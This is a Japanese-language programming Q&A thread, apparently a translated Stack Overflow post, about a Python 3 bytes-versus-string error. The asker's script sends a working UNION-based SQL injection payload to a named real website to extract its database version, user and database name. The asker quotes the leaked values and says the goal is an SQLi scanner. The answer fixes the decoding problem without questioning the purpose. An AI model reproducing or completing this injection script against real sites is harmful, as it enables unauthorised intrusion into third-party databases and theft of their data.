0

Windows 8でpython 3.3.0を使用しています。以下のコードは、python 2.7.xで正常に実行されます

import re, urllib
import urllib.request

arg_end = "--"
url = "http://www.johandemeij.com/post.php?id=276+AND+1=2+UNION+SELECT+1,2,p0w3R,4,p0w3R,p0w3R,7,8,p0w3R,p0w3R--"

url = site.replace("p0w3R","concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20)")+arg_end

requrl = urllib.request.Request(url)

response = urllib.request.urlopen(requrl)

source = response.read()

match = re.findall("\x1e\x1e\S+", str(source))

print("match>>>", match)

このスクリプトでは、一致変数に値がありません! そして、私がこれを使用しているとき:

match = re.findall("\x1e\x1e\S+", source)  

次のようなエラーが表示されます。

TypeError: can't use a string pattern on a bytes-like object 

実際、ブラウザに URL を挿入すると、特に脆弱な列で以下のような結果が得られます。 5.1.61-0+squeeze1johan@localhostjohan_db

では、その re の何が問題なのか、何をどこを変更すればよいのでしょうか? Python docs の re モジュールで \x について読み込もうとしたとき、何も見つかりませんでした。または、取得に失敗した可能性があります。分かりやすい方法で利用できる場合は、これに関する例を挙げて何か提案してください。

もう 1 つ、1e を文字列に変換しようとしても、何も返されませんでした。

Python 3 の学習を始めたばかりで、単純なプログラムを作成する代わりに、便利なスクリプトを作成したいと思っています。それで、python 3 で簡単な SQLi スキャナーを作ることに手を染めようとしています。darkMySQLi ツールからインスピレーションを得ました。

4

1 に答える 1

0

デフォルトでは、通常の文字列リテラル""は Python 2 ではバイト文字列ですが、Python 3 では Unicode 文字列ですb""。両方のバージョンでバイト文字列を作成します。

Python でのバイトと文字列 (Unicode)の違いについて読んでください。

urllib.parse.urlencode({'id': '276 AND ...'})URLクエリを作成し、sourceバイトをUnicodeにデコードするために使用できますsource.decode(encoding)(文字エンコーディングを見つける方法はコンテンツタイプによって異なります)。たとえばcharset、Content-Type http ヘッダーにパラメーターがある場合:

import cgi

# extract encoding from Content-Type and print the response
_, params = cgi.parse_header(response.headers.get('Content-Type', ''))
print(response.read().decode(params['charset']))
于 2012-10-25T21:38:15.673 に答える